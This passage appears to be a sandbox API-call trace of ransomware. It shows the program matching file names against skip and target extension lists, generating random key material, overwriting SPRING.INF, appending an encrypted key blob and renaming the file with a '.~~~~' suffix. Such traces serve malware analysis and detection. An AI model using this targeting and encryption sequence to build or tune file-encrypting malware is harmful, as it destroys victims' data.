	[0086.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".msp") returned 0x0
	[0086.290] lstrlenW (lpString=".pif") returned 4
	[0086.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".pif") returned 0x0
	[0086.291] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0086.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0086.292] lstrlenW (lpString=".sqb") returned 4
	[0086.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".sqb") returned 0x0
	[0086.292] lstrlenW (lpString=".ost") returned 4
	[0086.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".ost") returned 0x0
	[0086.292] lstrlenW (lpString=".txt") returned 4
	[0086.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".txt") returned 0x0
	[0086.292] lstrlenW (lpString=".mdt") returned 4
	[0086.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".mdt") returned 0x0
	[0086.293] lstrlenW (lpString=".BDB") returned 4
	[0086.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".BDB") returned 0x0
	[0086.293] lstrlenW (lpString=".eql") returned 4
	[0086.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".eql") returned 0x0
	[0086.293] lstrlenW (lpString=".DBF") returned 4
	[0086.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".DBF") returned 0x0
	[0086.293] lstrlenW (lpString=".EQL") returned 4
	[0086.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".EQL") returned 0x0
	[0086.293] lstrlenW (lpString=".FDB") returned 4
	[0086.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".FDB") returned 0x0
	[0086.293] lstrlenW (lpString=".EDB") returned 4
	[0086.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".EDB") returned 0x0
	[0086.293] lstrlenW (lpString=".DACPAC") returned 7
	[0086.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".DACPAC") returned 0x0
	[0086.293] lstrlenW (lpString=".VHD") returned 4
	[0086.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".VHD") returned 0x0
	[0086.293] lstrlenW (lpString=".DBV") returned 4
	[0086.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".DBV") returned 0x0
	[0086.293] lstrlenW (lpString=".dacpac") returned 7
	[0086.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".dacpac") returned 0x0
	[0086.293] lstrlenW (lpString=".sdf") returned 4
	[0086.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".sdf") returned 0x0
	[0086.293] lstrlenW (lpString=".accdb") returned 6
	[0086.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".accdb") returned 0x0
	[0086.294] lstrlenW (lpString=".DBX") returned 4
	[0086.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".DBX") returned 0x0
	[0086.294] lstrlenW (lpString=".MDT") returned 4
	[0086.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".MDT") returned 0x0
	[0086.294] lstrlenW (lpString=".SQB") returned 4
	[0086.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".SQB") returned 0x0
	[0086.294] lstrlenW (lpString=".vhd") returned 4
	[0086.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".vhd") returned 0x0
	[0086.294] lstrlenW (lpString=".bac") returned 4
	[0086.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".bac") returned 0x0
	[0086.294] lstrlenW (lpString=".mdf") returned 4
	[0086.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".mdf") returned 0x0
	[0086.294] lstrlenW (lpString=".BAK") returned 4
	[0086.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".BAK") returned 0x0
	[0086.294] lstrlenW (lpString=".BAC") returned 4
	[0086.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".BAC") returned 0x0
	[0086.294] lstrlenW (lpString=".dbs") returned 4
	[0086.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".dbs") returned 0x0
	[0086.294] lstrlenW (lpString=".vhdx") returned 5
	[0086.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".vhdx") returned 0x0
	[0086.294] lstrlenW (lpString=".NDF") returned 4
	[0086.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".NDF") returned 0x0
	[0086.294] lstrlenW (lpString=".dat") returned 4
	[0086.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".dat") returned 0x0
	[0086.294] lstrlenW (lpString=".DBS") returned 4
	[0086.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".DBS") returned 0x0
	[0086.295] lstrlenW (lpString=".CKP") returned 4
	[0086.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".CKP") returned 0x0
	[0086.295] lstrlenW (lpString=".edb") returned 4
	[0086.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".edb") returned 0x0
	[0086.295] lstrlenW (lpString=".PST") returned 4
	[0086.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".PST") returned 0x0
	[0086.295] lstrlenW (lpString=".dbf") returned 4
	[0086.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".dbf") returned 0x0
	[0086.295] lstrlenW (lpString=".SQL") returned 4
	[0086.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".SQL") returned 0x0
	[0086.295] lstrlenW (lpString=".pst") returned 4
	[0086.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".pst") returned 0x0
	[0086.295] lstrlenW (lpString=".dbv") returned 4
	[0086.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".dbv") returned 0x0
	[0086.295] lstrlenW (lpString=".SDF") returned 4
	[0086.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".SDF") returned 0x0
	[0086.295] lstrlenW (lpString=".dtxs") returned 5
	[0086.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".dtxs") returned 0x0
	[0086.295] lstrlenW (lpString=".db3") returned 4
	[0086.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".db3") returned 0x0
	[0086.295] lstrlenW (lpString=".OST") returned 4
	[0086.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".OST") returned 0x0
	[0086.295] lstrlenW (lpString=".dbx") returned 4
	[0086.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".dbx") returned 0x0
	[0086.295] lstrlenW (lpString=".DB3") returned 4
	[0086.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".DB3") returned 0x0
	[0086.296] lstrlenW (lpString=".DAT") returned 4
	[0086.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".DAT") returned 0x0
	[0086.296] lstrlenW (lpString=".VHDX") returned 5
	[0086.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".VHDX") returned 0x0
	[0086.296] lstrlenW (lpString=".ndf") returned 4
	[0086.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".ndf") returned 0x0
	[0086.296] lstrlenW (lpString=".DB") returned 3
	[0086.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".DB") returned 0x0
	[0086.296] lstrlenW (lpString=".sql") returned 4
	[0086.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".sql") returned 0x0
	[0086.296] lstrlenW (lpString=".MYD") returned 4
	[0086.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".MYD") returned 0x0
	[0086.296] lstrlenW (lpString=".DBT") returned 4
	[0086.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".DBT") returned 0x0
	[0086.296] lstrlenW (lpString=".ACCDB") returned 6
	[0086.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".ACCDB") returned 0x0
	[0086.296] lstrlenW (lpString=".fdb") returned 4
	[0086.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".fdb") returned 0x0
	[0086.296] lstrlenW (lpString=".bak") returned 4
	[0086.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".bak") returned 0x0
	[0086.296] lstrlenW (lpString=".myd") returned 4
	[0086.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".myd") returned 0x0
	[0086.296] lstrlenW (lpString=".DTXS") returned 5
	[0086.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".DTXS") returned 0x0
	[0086.296] lstrlenW (lpString=".ckp") returned 4
	[0086.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".ckp") returned 0x0
	[0086.297] lstrlenW (lpString=".dbt") returned 4
	[0086.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".dbt") returned 0x0
	[0086.297] lstrlenW (lpString=".db") returned 3
	[0086.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".db") returned 0x0
	[0086.297] lstrlenW (lpString=".TXT") returned 4
	[0086.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".TXT") returned 0x0
	[0086.297] lstrlenW (lpString=".MDF") returned 4
	[0086.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".MDF") returned 0x0
	[0086.297] lstrlenW (lpString=".bdb") returned 4
	[0086.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".bdb") returned 0x0
	[0086.297] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0086.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.297] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0086.298] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.298] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0086.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0086.298] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20628964844) returned 1
	[0086.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9d3e6c90, dwHighDateTime=0x1d60e1e)) 
	[0086.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0086.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0086.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0086.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6bc8
	[0086.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6bc8 | out: hHeap=0x300000) returned 1
	[0086.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb030
	[0086.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb030 | out: hHeap=0x300000) returned 1
	[0086.300] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0086.300] GetLastError () returned 0x0
	[0086.301] GetLastError () returned 0x0
	[0086.301] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0086.301] GetLastError () returned 0x0
	[0086.301] GetLastError () returned 0x0
	[0086.302] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffe2e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.303] WriteFile (in: hFile=0x120, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x1d2, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x1d2, lpOverlapped=0x0) returned 1
	[0086.303] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.303] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.303] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.303] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.303] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.303] CloseHandle (hObject=0x120) returned 1
	[0086.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f56c8
	[0086.304] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf.~~~~")) returned 1
	[0086.304] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f56c8 | out: hHeap=0x300000) returned 1
	[0086.304] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0086.304] GetLastError () returned 0x0
	[0086.305] RtlWakeConditionVariable () returned 0x365f70
	[0086.305] GetCurrentThreadId () returned 0x3a4
	[0086.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0086.305] lstrlenW (lpString=".cmd") returned 4
	[0086.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0086.305] lstrlenW (lpString=".dll") returned 4
	[0086.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0086.305] lstrlenW (lpString=".bat") returned 4
	[0086.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0086.305] lstrlenW (lpString=".cpl") returned 4
	[0086.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0086.305] lstrlenW (lpString=".sys") returned 4
	[0086.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0086.305] lstrlenW (lpString=".msc") returned 4
	[0086.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0086.305] lstrlenW (lpString=".com") returned 4
	[0086.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0086.305] lstrlenW (lpString=".lnk") returned 4
	[0086.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0086.305] lstrlenW (lpString=".msp") returned 4
	[0086.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0086.305] lstrlenW (lpString=".pif") returned 4
	[0086.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0086.306] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.306] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0086.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0086.307] lstrlenW (lpString=".sqb") returned 4
	[0086.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0086.307] lstrlenW (lpString=".ost") returned 4
	[0086.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0086.307] lstrlenW (lpString=".txt") returned 4
	[0086.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0086.307] lstrlenW (lpString=".mdt") returned 4
	[0086.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0086.307] lstrlenW (lpString=".BDB") returned 4
	[0086.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0086.307] lstrlenW (lpString=".eql") returned 4
	[0086.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0086.307] lstrlenW (lpString=".DBF") returned 4
	[0086.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0086.307] lstrlenW (lpString=".EQL") returned 4
	[0086.307] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0086.308] lstrlenW (lpString=".FDB") returned 4
	[0086.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0086.308] lstrlenW (lpString=".EDB") returned 4
	[0086.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0086.308] lstrlenW (lpString=".DACPAC") returned 7
	[0086.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0086.308] lstrlenW (lpString=".VHD") returned 4
	[0086.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0086.308] lstrlenW (lpString=".DBV") returned 4
	[0086.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0086.308] lstrlenW (lpString=".dacpac") returned 7
	[0086.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0086.308] lstrlenW (lpString=".sdf") returned 4
	[0086.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0086.308] lstrlenW (lpString=".accdb") returned 6
	[0086.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0086.308] lstrlenW (lpString=".DBX") returned 4
	[0086.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0086.308] lstrlenW (lpString=".MDT") returned 4
